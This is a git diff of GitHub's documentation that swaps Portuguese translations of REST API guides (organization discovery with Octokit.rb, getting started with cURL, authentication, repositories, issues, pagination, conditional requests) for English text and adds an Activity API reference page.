ou mais desses escopos para o seu aplicativo, você estará pronto para buscar as organizações do usuário. +Applications can perform all sorts of organization-related tasks for a user. To perform these tasks, the app needs an [OAuth authorization][scopes] with sufficient permission. For example, the `read:org` scope allows you to [list teams][list-teams], and the `user` scope lets you [publicize the user’s organization membership][publicize-membership]. Once a user has granted one or more of these scopes to your app, you're ready to fetch the user’s organizations. -Assim como fizemos ao descobrir os repositórios acima, começaremos exigindo a biblioteca de Ruby do [GitHub's Octokit.rb][octokit.rb] Biblioteca Ruby e configurando-a para cuidar da [paginação][pagination] para nós: +Just as we did when discovering repositories above, we'll start by requiring [GitHub's Octokit.rb][octokit.rb] Ruby library and configuring it to take care of [pagination][pagination] for us: ``` ruby require 'octokit' @@ -75,7 +75,7 @@ require 'octokit' Octokit.auto_paginate = true ``` -Em seguida, passaremos o [Token OAuth para um determinado usuário][make-authenticated-request-for-user] do nosso aplicativo para inicializar o nosso cliente da API: +Next, we'll pass in our application's [OAuth token for a given user][make-authenticated-request-for-user] to initialize our API client: ``` ruby # !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!! @@ -83,7 +83,7 @@ Em seguida, passaremos o [Token OAuth para um determinado usuário][make-authent client = Octokit::Client.new :access_token => ENV["OAUTH_ACCESS_TOKEN"] ``` -Em seguida, podemos [listar as organizações que o nosso aplicativo pode acessar para o usuário][list-orgs-for-current-user]: +Then, we can [list the organizations that our application can access for the user][list-orgs-for-current-user]: ``` ruby client.organizations.each do |organization| @@ -91,11 +91,11 @@ client.organizations.each do |organization| end ``` -### Retorna todas as associações da organização do usuário +### Return all of the user's organization memberships -Se você leu a documentação do princípio ao fim, é possível que você tenha notado um [método da API para listar as associações de organizações públicas de um usuário][list-public-orgs]. A maioria dos aplicativos deve evitar este método de API. Este método retorna apenas as associações de organizações públicas do usuário, não suas associações de organizações privadas. +If you've read the docs from cover to cover, you may have noticed an [API method for listing a user's public organization memberships][list-public-orgs]. Most applications should avoid this API method. This method only returns the user's public organization memberships, not their private organization memberships. -Como um aplicativo, normalmente você quer todas as organizações do usuário que o seu aplicativo está autorizado a acessar. O fluxo de trabalho acima fornecerá exatamente isso. +As an application, you typically want all of the user's organizations that your app is authorized to access. The workflow above will give you exactly that. [basics-of-authentication]: /rest/guides/basics-of-authentication [list-public-orgs]: /rest/reference/orgs#list-organizations-for-a-user @@ -103,14 +103,10 @@ Como um aplicativo, normalmente você quer todas as organizações do usuário q [list-orgs-for-current-user]: /rest/reference/orgs#list-organizations-for-the-authenticated-user [list-teams]: /rest/reference/teams#list-teams [make-authenticated-request-for-user]: /rest/guides/basics-of-authentication#making-authenticated-requests -[make-authenticated-request-for-user]: /rest/guides/basics-of-authentication#making-authenticated-requests [oap]: https://developer.github.com/changes/2015-01-19-an-integrators-guide-to-organization-application-policies/ [octokit.rb]: https://github.com/octokit/octokit.rb -[octokit.rb]: https://github.com/octokit/octokit.rb -[octokit.rb]: https://github.com/octokit/octokit.rb [pagination]: /rest#pagination [platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/discovering-resources-for-a-user [publicize-membership]: /rest/reference/orgs#set-public-organization-membership-for-the-authenticated-user [register-oauth-app]: /rest/guides/basics-of-authentication#registering-your-app [scopes]: /apps/building-oauth-apps/understanding-scopes-for-oauth-apps/ -[scopes]: /apps/building-oauth-apps/understanding-scopes-for-oauth-apps/ diff --git a/translations/pt-BR/content/rest/guides/getting-started-with-the-rest-api.md b/translations/pt-BR/content/rest/guides/getting-started-with-the-rest-api.md index c3d9349d16..74ab5b1968 100644 --- a/translations/pt-BR/content/rest/guides/getting-started-with-the-rest-api.md +++ b/translations/pt-BR/content/rest/guides/getting-started-with-the-rest-api.md @@ -1,6 +1,6 @@ --- -title: Primeiros passos com a API REST -intro: 'Aprenda os fundamentos para usar a API REST, começando com a autenticação e alguns exemplos de pontos de extremidade.' +title: Getting started with the REST API +intro: 'Learn the foundations for using the REST API, starting with authentication and some endpoint examples.' redirect_from: - /guides/getting-started/ - /v3/guides/getting-started @@ -11,23 +11,28 @@ versions: ghec: '*' topics: - API -shortTitle: Primeiros passos - REST API +shortTitle: Get started - REST API --- -Vamos andar pelos conceitos básicos da API, à medida que abordamos alguns casos de uso diário. +Let's walk through core API concepts as we tackle some everyday use cases. {% data reusables.rest-api.dotcom-only-guide-note %} -## Visão Geral +## Overview -A maioria dos aplicativos usará uma [biblioteca de segurança][wrappers] existente na linguagem da sua escolha, mas é importante familiarizar-se primeiro com os métodos HTTP e de API subjacentes. +Most applications will use an existing [wrapper library][wrappers] in the language +of your choice, but it's important to familiarize yourself with the underlying API +HTTP methods first. -There's no easier way to kick the tires than through [cURL][curl].{% ifversion fpt or ghec %} If you are using an alternative client, note that you are required to send a valid [User Agent header](/rest/overview/resources-in-the-rest-api#user-agent-required) in your request.{% endif %} +There's no easier way to kick the tires than through [cURL][curl].{% ifversion fpt or ghec %} If you are using +an alternative client, note that you are required to send a valid +[User Agent header](/rest/overview/resources-in-the-rest-api#user-agent-required) in your request.{% endif %} ### Hello World -Vamos começar testando a nossa configuração. Abra uma instrução de comando e digite o comando a seguir: +Let's start by testing our setup. Open up a command prompt and enter the +following command: ```shell $ curl https://api.github.com/zen @@ -35,9 +40,9 @@ $ curl https://api.github.com/zen > Keep it logically awesome. ``` -A resposta será uma seleção aleatória das nossas filosofias de design. +The response will be a random selection from our design philosophies. -Em seguida, vamos fazer `GET` para o [perfil de GitHub][users api] de [Chris Wanstrath][defunkt github]: +Next, let's `GET` [Chris Wanstrath's][defunkt github] [GitHub profile][users api]: ```shell # GET /users/defunkt @@ -55,12 +60,12 @@ $ curl https://api.github.com/users/defunkt > } ``` -Mmmmm, tem sabor de [JSON][json]. Vamos adicionar o sinalizador `-i` para incluir cabeçalhos: +Mmmmm, tastes like [JSON][json]. Let's add the `-i` flag to include headers: ```shell $ curl -i https://api.github.com/users/defunkt -> HTTP/2 200 +> HTTP/2 200 > server: GitHub.com > date: Thu, 08 Jul 2021 07:04:08 GMT > content-type: application/json; charset=utf-8 @@ -99,64 +104,75 @@ $ curl -i https://api.github.com/users/defunkt > } ``` -Há algumas partes interessantes nos cabeçalhos da resposta. Como esperado, o `Content-Type` é `application/json`. +There are a few interesting bits in the response headers. As expected, the +`Content-Type` is `application/json`. -Qualquer cabeçalho que começar com `X -` é um cabeçalho personalizado e não está incluído nas especificações de HTTP. Por exemplo: +Any headers beginning with `X-` are custom headers, and are not included in the +HTTP spec. For example: -* `X-GitHub-Media-Type` tem um valor de `github.v3`. Isso nos permite saber o [tipo de mídia][media types] para a resposta. Tipos de mídia nos ajudaram a criar uma versão da nossa saída na API v3. Vamos falar mais sobre isso mais adiante. -* Anote os cabeçalhos `X-RateLimit-Limit` e `X-RateLimit-Remaining`. Este par de cabeçalhos indica [quantas solicitações um cliente pode fazer][rate-limiting] em um período de tempo consecutivo (geralmente, uma hora) e quantas dessas solicitações o cliente já gastou. +* `X-GitHub-Media-Type` has a value of `github.v3`. This lets us know the [media type][media types] +for the response. Media types have helped us version our output in API v3. We'll +talk more about that later. +* Take note of the `X-RateLimit-Limit` and `X-RateLimit-Remaining` headers. This +pair of headers indicate [how many requests a client can make][rate-limiting] in +a rolling time period (typically an hour) and how many of those requests the +client has already spent. -## Autenticação +## Authentication -Clientes sem autenticação podem fazer 60 solicitações por hora. Para obter mais solicitações por hora, precisaremos _efetuar a autenticação_. In fact, doing anything interesting with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API requires [authentication][authentication]. +Unauthenticated clients can make 60 requests per hour. To get more requests per hour, we'll need to +_authenticate_. In fact, doing anything interesting with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API requires +[authentication][authentication]. -### Usar tokens de acesso pessoal +### Using personal access tokens -The easiest and best way to authenticate with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API is by using Basic Authentication [via OAuth tokens](/rest/overview/other-authentication-methods#via-oauth-and-personal-access-tokens). Os tokens do OAuth incluem [os tokens de acesso pessoal][personal token]. +The easiest and best way to authenticate with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API is by using Basic Authentication [via OAuth tokens](/rest/overview/other-authentication-methods#via-oauth-and-personal-access-tokens). OAuth tokens include [personal access tokens][personal token]. -Use um sinalizador `-u` para definir o seu nome de usuário: +Use a `-u` flag to set your username: ```shell $ curl -i -u your_username {% data variables.product.api_url_pre %}/users/octocat ``` -Quando solicitado, você poderá inserir o seu token OAuth, mas nós recomendamos que você configure uma variável para isso: +When prompted, you can enter your OAuth token, but we recommend you set up a variable for it: -Você pode usar `-u "your_username:$token"` e configurar uma variável para `token` para evitar deixar seu token no histórico do shell, o que deve ser evitado. +You can use `-u "your_username:$token"` and set up a variable for `token` to avoid leaving your token in shell history, which should be avoided. ```shell $ curl -i -u your_username:$token {% data variables.product.api_url_pre %}/users/octocat ``` -Ao efetuar a autenticação, você deverá ver seu limite de taxa disparado para 5.000 slicitações por hora, conforme indicado no cabeçalho `X-RateLimit-Limit`. Além de fornecer mais chamadas por hora, a autenticação permite que você leia e escreva informações privadas usando a API. +When authenticating, you should see your rate limit bumped to 5,000 requests an hour, as indicated in the `X-RateLimit-Limit` header. In addition to providing more calls per hour, authentication enables you to read and write private information using the API. -Você pode facilmente [criar um **token de acesso pessoal**][personal token] usando a sua [página de configurações de tokens de acesso pessoal][tokens settings]: +You can easily [create a **personal access token**][personal token] using your [Personal access tokens settings page][tokens settings]: {% ifversion fpt or ghes > 3.1 or ghae-issue-4374 or ghec %} {% warning %} -Para ajudar a manter suas informações seguras, é altamente recomendável definir um vencimento para seus tokens de acesso pessoal. +To help keep your information secure, we highly recommend setting an expiration for your personal access tokens. {% endwarning %} {% endif %} {% ifversion fpt or ghes or ghec %} -![Seleção de Token Pessoal](/assets/images/personal_token.png) +![Personal Token selection](/assets/images/personal_token.png) {% endif %} {% ifversion ghae %} -![Seleção de Token Pessoal](/assets/images/help/personal_token_ghae.png) +![Personal Token selection](/assets/images/help/personal_token_ghae.png) {% endif %} {% ifversion fpt or ghes > 3.1 or ghae-issue-4374 or ghec %} -As solicitações da API que usam um token de acesso pessoal vencido retornará a data de validade do token por meio do cabeçalho `GitHub-Authentication-Token-Expiration`. Você pode usar o cabeçalho nos seus scripts para fornecer uma mensagem de aviso quando o token estiver próximo da data de vencimento. +API requests using an expiring personal access token will return that token's expiration date via the `GitHub-Authentication-Token-Expiration` header. You can use the header in your scripts to provide a warning message when the token is close to its expiration date. {% endif %} -### Obtenha seu próprio perfil de usuário +### Get your own user profile -When properly authenticated, you can take advantage of the permissions associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. Por exemplo, tente obter +When properly authenticated, you can take advantage of the permissions +associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. For example, try getting +[your own user profile][auth user api]: ```shell $ curl -i -u your_username:your_token {% data variables.product.api_url_pre %}/user @@ -173,71 +189,89 @@ $ curl -i -u your_username:your_token {% data variables.produc > } ``` -Desta vez, além do mesmo conjunto de informações públicas que recuperamos para [@defunkt][defunkt github] anteriormente, você também deverá ver as informações não públicas do seu perfil de usuário. Por exemplo, você verá um objeto `plano` na resposta, que fornece detalhes sobre o plano de {% data variables.product.product_name %} para a conta. +This time, in addition to the same set of public information we +retrieved for [@defunkt][defunkt github] earlier, you should also see the non-public information for your user profile. For example, you'll see a `plan` object in the response which gives details about the {% data variables.product.product_name %} plan for the account. -### Usar tokens do OAuth para aplicativos +### Using OAuth tokens for apps -Os aplicativos que precisam ler ou escrever informações privadas usando a API em nome de outro usuário devem usar o [OAuth][oauth]. +Apps that need to read or write private information using the API on behalf of another user should use [OAuth][oauth]. -O OAuth usa _tokens_. Os tokens fornecem dois grandes recursos: +OAuth uses _tokens_. Tokens provide two big features: -* **Acesso revogável**: os usuários podem revogar a autorização a aplicativos de terceiros a qualquer momento -* **Acesso limitado**: os usuários podem revisar o acesso específico que um token fornecerá antes de autorizar um aplicativo de terceiros +* **Revokable access**: users can revoke authorization to third party apps at any time +* **Limited access**: users can review the specific access that a token + will provide before authorizing a third party app -Os tokens devem ser criados por meio de um [fluxo web][webflow]. Um aplicativo envia os usuários para {% data variables.product.product_name %} para efetuar o login. {% data variables.product.product_name %} apresenta uma caixa de diálogo, que indica o nome do aplicativo, bem como o nível de acesso que o aplicativo tem uma após ser autorizado pelo usuário. Depois que um usuário autoriza o acesso, {% data variables.product.product_name %} redireciona o usuário de volta para o aplicativo: +Tokens should be created via a [web flow][webflow]. An application +sends users to {% data variables.product.product_name %} to log in. {% data variables.product.product_name %} then presents a dialog +indicating the name of the app, as well as the level of access the app +has once it's authorized by the user. After a user authorizes access, {% data variables.product.product_name %} +redirects the user back to the application: -![Diálogo do GitHub's OAuth](/assets/images/oauth_prompt.png) +![GitHub's OAuth Prompt](/assets/images/oauth_prompt.png) -**Trate os tokens de OAuth como senhas!** Não compartilhe-os com outros usuários ou armazene-os em lugares inseguros. Os tokens nestes exemplos são falsos e os nomes foram alterados para proteger os inocentes. +**Treat OAuth tokens like passwords!** Don't share them with other users or store +them in insecure places. The tokens in these examples are fake and the names have +been changed to protect the innocent. -Agora que demos um jeito de fazer chamadas autenticadas, vamos seguir em frente para a [API de repositórios][repos-api]. +Now that we've got the hang of making authenticated calls, let's move along to +the [Repositories API][repos-api]. -## Repositórios +## Repositories -Almost any meaningful use of the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API will involve some level of Repository information. Podemos [`OBTER` informações do repositório][get repo] da mesma forma que obtemos ass informações do usuário anteriormente: +Almost any meaningful use of the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API will involve some level of Repository +information. We can [`GET` repository details][get repo] in the same way we fetched user +details earlier: ```shell $ curl -i {% data variables.product.api_url_pre %}/repos/twbs/bootstrap ``` -Da mesma forma, podemos [visualizar repositórios para o usuário autenticado][user repos api]: +In the same way, we can [view repositories for the authenticated user][user repos api]: ```shell $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}" \ {% data variables.product.api_url_pre %}/user/repos ``` -Ou podemos [listar repositórios para outro usuário][other user repos api]: +Or, we can [list repositories for another user][other user repos api]: ```shell $ curl -i {% data variables.product.api_url_pre %}/users/octocat/repos ``` -Ou podemos [listar repositórios para uma organização][org repos api]: +Or, we can [list repositories for an organization][org repos api]: ```shell $ curl -i {% data variables.product.api_url_pre %}/orgs/octo-org/repos ``` -As informações retornadas dessas chamadas dependerão de quais escopos o nosso token terá quando efetuarmos a autenticação: +The information returned from these calls will depend on which scopes our token has when we authenticate: -{% ifversion not ghae %} -* Um token com o escopo `public_repo` [][scopes] retorna uma resposta que inclui todos os repositórios públicos que temos acesso para ver em github.com.{% endif %} -* Um token com `repositório` [escopo][scopes] retorna uma resposta que inclui todos os {% ifversion not ghae %}repositórios internos{% else %}públicos{% endif %} e privados que temos acesso para ver em {% data variables.product.product_location %}. +{%- ifversion fpt or ghec or ghes %} +* A token with `public_repo` [scope][scopes] returns a response that includes all public repositories we have access to see on {% data variables.product.product_location %}. +{%- endif %} +* A token with `repo` [scope][scopes] returns a response that includes all {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories we have access to see on {% data variables.product.product_location %}. -Conforme a [documentação][repos-api] indica, estes métodos usam um parâmetro `tipo` que pode filtrar os repositórios retornados com base no tipo de acesso que o usuário possui para o repositório. Desta forma, podemos buscar apenas repositórios de propriedade direta, repositórios da organização ou repositórios nos quais o usuário colabora por meio de uma equipe. +As the [docs][repos-api] indicate, these methods take a `type` parameter that +can filter the repositories returned based on what type of access the user has +for the repository. In this way, we can fetch only directly-owned repositories, +organization repositories, or repositories the user collaborates on via a team. ```shell $ curl -i "{% data variables.product.api_url_pre %}/users/octocat/repos?type=owner" ``` -Neste exemplo, pegamos apenas os repositórios que o octocat possui, não os nos quais ela colabora. Observe a URL entre aspas acima. Dependendo de sua configuração do shell, a cURL às vezes exigirá uma URL entre aspas ou irá ignorar a string de consulta. +In this example, we grab only those repositories that octocat owns, not the +ones on which she collaborates. Note the quoted URL above. Depending on your +shell setup, cURL sometimes requires a quoted URL or else it ignores the +query string. -### Criar um repositório +### Create a repository -Buscar informações para repositórios existentes é um caso de uso comum, mas a -{% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API supports creating new repositories as well. Para [criar um repositório][create repo], -precisamos `POST` alguns JSON que contém informações e opções de configuração. +Fetching information for existing repositories is a common use case, but the +{% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API supports creating new repositories as well. To [create a repository][create repo], +we need to `POST` some JSON containing the details and configuration options. ```shell $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}" \ @@ -250,11 +284,14 @@ $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae-next o {% data variables.product.api_url_pre %}/user/repos ``` -Neste pequeno exemplo, criamos um novo repositório privado para o nosso blogue (a ser servido no [GitHub Pages][pages], talvez). Embora o blogue {% ifversion not ghae %}seja público{% else %}, ele pode ser acessado por todos os integrantes da empresa{% endif %}, tornamos o repositório privado. Nesta etapa única, também vamos inicializá-lo com um LEIAME e um [nanoc][nanoc]-flavored [.gitignore template][gitignore templates]. +In this minimal example, we create a new private repository for our blog (to be served +on [GitHub Pages][pages], perhaps). Though the blog {% ifversion not ghae %}will be public{% else %}is accessible to all enterprise members{% endif %}, we've made the repository private. In this single step, we'll also initialize it with a README and a [nanoc][nanoc]-flavored [.gitignore template][gitignore templates]. -O repositório resultante será encontrado em `https://github.com//blog`. Para criar um repositório sob uma organização da qual você é proprietário, altere apenas o método API de `/user/repos` para `/orgs//repos`. +The resulting repository will be found at `https://github.com//blog`. +To create a repository under an organization for which you're +an owner, just change the API method from `/user/repos` to `/orgs//repos`. -Em seguida, vamos buscar nosso repositório recém-criado: +Next, let's fetch our newly created repository: ```shell $ curl -i {% data variables.product.api_url_pre %}/repos/pengwynn/blog @@ -266,20 +303,28 @@ $ curl -i {% data variables.product.api_url_pre %}/repos/pengwynn/blog > } ``` -Ah não! Onde ele foi parar? Uma vez que criamos o repositório como _privado_, precisamos autenticá-lo para poder vê-lo. Se você é um usuário de HTTP, você pode esperar um `403`. Since we don't want to leak information about private repositories, the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API returns a `404` in this case, as if to say "we can neither confirm nor deny the existence of this repository." +Oh noes! Where did it go? Since we created the repository as _private_, we need +to authenticate in order to see it. If you're a grizzled HTTP user, you might +expect a `403` instead. Since we don't want to leak information about private +repositories, the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API returns a `404` in this case, as if to say "we can +neither confirm nor deny the existence of this repository." -## Problemas +## Issues -A interface de usuário para problemas no {% data variables.product.product_name %} visa a fornecer fluxo de trabalho "apenas suficiente" enquanto permanece fora de seu caminho. Com {% data variables.product.product_name %} [API de problemas][issues-api], você pode extrair dados ou criar problemas a partir de outras ferramentas para criar um fluxo de trabalho que funcione para a sua equipe. +The UI for Issues on {% data variables.product.product_name %} aims to provide 'just enough' workflow while +staying out of your way. With the {% data variables.product.product_name %} [Issues API][issues-api], you can pull +data out or create issues from other tools to create a workflow that works for +your team. -Assim como o github.com, a API fornece alguns métodos para exibir problemas para o usuário autenticado. Para [ver todos os seus problemas][get issues api], chame `GET /issues`: +Just like github.com, the API provides a few methods to view issues for the +authenticated user. To [see all your issues][get issues api], call `GET /issues`: ```shell $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}" \ {% data variables.product.api_url_pre %}/issues ``` -Para obter apenas os [problemas sob uma das suas organizações de {% data variables.product.product_name %}][get issues api], chame `GET +To get only the [issues under one of your {% data variables.product.product_name %} organizations][get issues api], call `GET /orgs//issues`: ```shell @@ -287,15 +332,17 @@ $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae-next o {% data variables.product.api_url_pre %}/orgs/rails/issues ``` -Também podemos obter [todos os problemas sob um único repositório][repo issues api]: +We can also get [all the issues under a single repository][repo issues api]: ```shell $ curl -i {% data variables.product.api_url_pre %}/repos/rails/rails/issues ``` -### Paginação +### Pagination -Um projeto do tamanho de Rails tem milhares de problemas. Vamos precisar [paginar][pagination], fazendo várias chamadas de API para obter os dados. Vamos repetir essa última chamada, anotando os cabeçalhos de resposta: +A project the size of Rails has thousands of issues. We'll need to [paginate][pagination], +making multiple API calls to get the data. Let's repeat that last call, this +time taking note of the response headers: ```shell $ curl -i {% data variables.product.api_url_pre %}/repos/rails/rails/issues @@ -307,13 +354,20 @@ $ curl -i {% data variables.product.api_url_pre %}/repos/rails/rails/issues > ... ``` -O [cabeçalho de `Link`][link-header] fornece uma forma de resposta para vincular os recursos externos, nesse caso, as páginas de dados adicionais. Como nossa chamada encontrou mais de trinta problemas (o tamanho da página padrão), a API nos informa onde podemos encontrar a próxima página e a última página de resultados. +The [`Link` header][link-header] provides a way for a response to link to +external resources, in this case additional pages of data. Since our call found +more than thirty issues (the default page size), the API tells us where we can +find the next page and the last page of results. -### Criar um problema +### Creating an issue -Agora que vimos como paginar listas de problemas, vamos [criar um problema][create issue] a partir da API. +Now that we've seen how to paginate lists of issues, let's [create an issue][create issue] from +the API. -Para criar um problema, precisamos estar autenticados. Portanto, passaremos um token do OAuth no cabeçalho. Além disso, passaremos o título, texto, e as etiquetas no texto do JSON para o caminho `/issues` abaixo do repositório em que queremos criar o problema: +To create an issue, we need to be authenticated, so we'll pass an +OAuth token in the header. Also, we'll pass the title, body, and labels in the JSON +body to the `/issues` path underneath the repository in which we want to create +the issue: ```shell $ curl -i -H 'Authorization: token {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}' \ @@ -365,11 +419,14 @@ $ {% data variables.product.api_url_pre %}/repos/pengwynn/api-sandbox/issues > } ``` -A resposta nos dá algumas indicações sobre a questão recém-criada, tanto no cabeçalho de resposta da `Localização` quanto no campo `url` da resposta do JSON. +The response gives us a couple of pointers to the newly created issue, both in +the `Location` response header and the `url` field of the JSON response. -## Solicitações condicionais +## Conditional requests -Uma grande parte de ser um bom cidadão da API é respeitar os limites de taxa por meio de armazenamento de informações que não mudaram. A API é compatível com [solicitações condicionais][conditional-requests] e ajuda você a fazer a coisa certa. Considere a primeira chamada de que fizemos para obter o perfil de defunkt: +A big part of being a good API citizen is respecting rate limits by caching information that hasn't changed. The API supports [conditional +requests][conditional-requests] and helps you do the right thing. Consider the +first call we made to get defunkt's profile: ```shell $ curl -i {% data variables.product.api_url_pre %}/users/defunkt @@ -378,7 +435,10 @@ $ curl -i {% data variables.product.api_url_pre %}/users/defunkt > etag: W/"61e964bf6efa3bc3f9e8549e56d4db6e0911d8fa20fcd8ab9d88f13d513f26f0" ``` -Além do texto do JSON, anote o código de status de HTTP de `200` e o cabeçalho `ETag`. O [ETag][etag] é uma impressão digital da resposta. Se passarmos isso em chamadas subsequentes, podemos dizer à API para nos dar o recurso novamente, somente se tiver mudado: +In addition to the JSON body, take note of the HTTP status code of `200` and +the `ETag` header. +The [ETag][etag] is a fingerprint of the response. If we pass that on subsequent calls, +we can tell the API to give us the resource again, only if it has changed: ```shell $ curl -i -H 'If-None-Match: "61e964bf6efa3bc3f9e8549e56d4db6e0911d8fa20fcd8ab9d88f13d513f26f0"' \ @@ -387,25 +447,24 @@ $ {% data variables.product.api_url_pre %}/users/defunkt > HTTP/2 304 ``` -O status `304` indica que o recurso não mudou desde a última vez que pedimos e a resposta não conterá texto. Como um bônus, as respostas de `304` não contam contra o seu [limite de taxa][rate-limiting]. +The `304` status indicates that the resource hasn't changed since the last time +we asked for it and the response will contain no body. As a bonus, `304` responses don't count against your [rate limit][rate-limiting]. -Nossa! Now you know the basics of the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API! +Woot! Now you know the basics of the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API! -* Autenticação básica do & OAuth -* Buscar e criar de repositórios e problemas -* Solicitações condicionais +* Basic & OAuth authentication +* Fetching and creating repositories and issues +* Conditional requests -Continue aprendendo com o próximo guia da API [Princípios básicos da autenticação][auth guide]! +Keep learning with the next API guide [Basics of Authentication][auth guide]! [wrappers]: /libraries/ [curl]: http://curl.haxx.se/ [media types]: /rest/overview/media-types [oauth]: /apps/building-integrations/setting-up-and-registering-oauth-apps/ [webflow]: /apps/building-oauth-apps/authorizing-oauth-apps/ +[create a new authorization API]: /rest/reference/oauth-authorizations#create-a-new-authorization [scopes]: /apps/building-oauth-apps/understanding-scopes-for-oauth-apps/ -[scopes]: /apps/building-oauth-apps/understanding-scopes-for-oauth-apps/ -[scopes]: /apps/building-oauth-apps/understanding-scopes-for-oauth-apps/ -[repos-api]: /rest/reference/repos [repos-api]: /rest/reference/repos [pages]: http://pages.github.com [nanoc]: http://nanoc.ws/ @@ -414,13 +473,14 @@ Continue aprendendo com o próximo guia da API [Princípios básicos da autentic [link-header]: https://www.w3.org/wiki/LinkHeader [conditional-requests]: /rest#conditional-requests [rate-limiting]: /rest#rate-limiting -[rate-limiting]: /rest#rate-limiting [users api]: /rest/reference/users#get-a-user -[defunkt github]: https://github.com/defunkt +[auth user api]: /rest/reference/users#get-the-authenticated-user [defunkt github]: https://github.com/defunkt [json]: http://en.wikipedia.org/wiki/JSON [authentication]: /rest#authentication -[personal token]: /articles/creating-an-access-token-for-command-line-use +[2fa]: /articles/about-two-factor-authentication +[2fa header]: /rest/overview/other-authentication-methods#working-with-two-factor-authentication +[oauth section]: /rest/guides/getting-started-with-the-rest-api#oauth [personal token]: /articles/creating-an-access-token-for-command-line-use [tokens settings]: https://github.com/settings/tokens [pagination]: /rest#pagination @@ -432,6 +492,6 @@ Continue aprendendo com o próximo guia da API [Princípios básicos da autentic [other user repos api]: /rest/reference/repos#list-repositories-for-a-user [org repos api]: /rest/reference/repos#list-organization-repositories [get issues api]: /rest/reference/issues#list-issues-assigned-to-the-authenticated-user -[get issues api]: /rest/reference/issues#list-issues-assigned-to-the-authenticated-user [repo issues api]: /rest/reference/issues#list-repository-issues [etag]: http://en.wikipedia.org/wiki/HTTP_ETag +[2fa section]: /rest/guides/getting-started-with-the-rest-api#two-factor-authentication diff --git a/translations/pt-BR/content/rest/reference/activity.md b/translations/pt-BR/content/rest/reference/activity.md new file mode 100644 index 0000000000..804b4094d2 --- /dev/null +++ b/translations/pt-BR/content/rest/reference/activity.md @@ -0,0 +1,198 @@ +--- +title: Activity +intro: 'The Activity API allows you to list events and feeds and manage notifications, starring, and watching for the authenticated user.' +redirect_from: + - /v3/activity +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +--- + +{% for operation in currentRestOperations %} + {% unless operation.subcategory %}{% include rest_operation %}{% endunless %} +{% endfor %} + +## Events + +The Events API is a read-only API to the {% data variables.product.prodname_dotcom %} events. These events power the various activity streams on the site. + +The Events API can return different types of events triggered by activity on {% data variables.product.product_name %}. For more information about the specific events that you can receive from the Events API, see "[{% data variables.product.prodname_dotcom %} Event types](/developers/webhooks-and-events/github-event-types)." An events API for repository issues is also available. For more information, see the "[Issue Events API](/rest/reference/issues#events)." + +Events are optimized for polling with the "ETag" header. If no new events have been triggered, you will see a "304 Not Modified" response, and your current rate limit will be untouched. There is also an "X-Poll-Interval" header that specifies how often (in seconds) you are allowed to poll. In times of high server load, the time may increase. Please obey the header. + +``` shell +$ curl -I {% data variables.product.api_url_pre %}/users/tater/events +> HTTP/2 200 +> X-Poll-Interval: 60 +> ETag: "a18c3bded88eb5dbb5c849a489412bf3" + +# The quotes around the ETag value are important +$ curl -I {% data variables.product.api_url_pre %}/users/tater/events \ +$ -H 'If-None-Match: "a18c3bded88eb5dbb5c849a489412bf3"' +> HTTP/2 304 +> X-Poll-Interval: 60 +``` + +Only events created within the past 90 days will be included in timelines. Events older than 90 days will not be included (even if the total number of events in the timeline is less than 300). + +{% for operation in currentRestOperations %} + {% if operation.subcategory == 'events' %}{% include rest_operation %}{% endif %} +{% endfor %} + +## Feeds + +{% for operation in currentRestOperations %} + {% if operation.subcategory == 'feeds' %}{% include rest_operation %}{% endif %} +{% endfor %} + +### Example of getting an Atom feed + +To get a feed in Atom format, you must specify the `application/atom+xml` type in the `Accept` header. For example, to get the Atom feed for GitHub security advisories: + + curl -H "Accept: application/atom+xml" https://github.com/security-advisories + +#### Response + +```shell +HTTP/2 200 +``` + +```xml + + + tag:github.com,2008:/security-advisories + + GitHub Security Advisory Feed + + 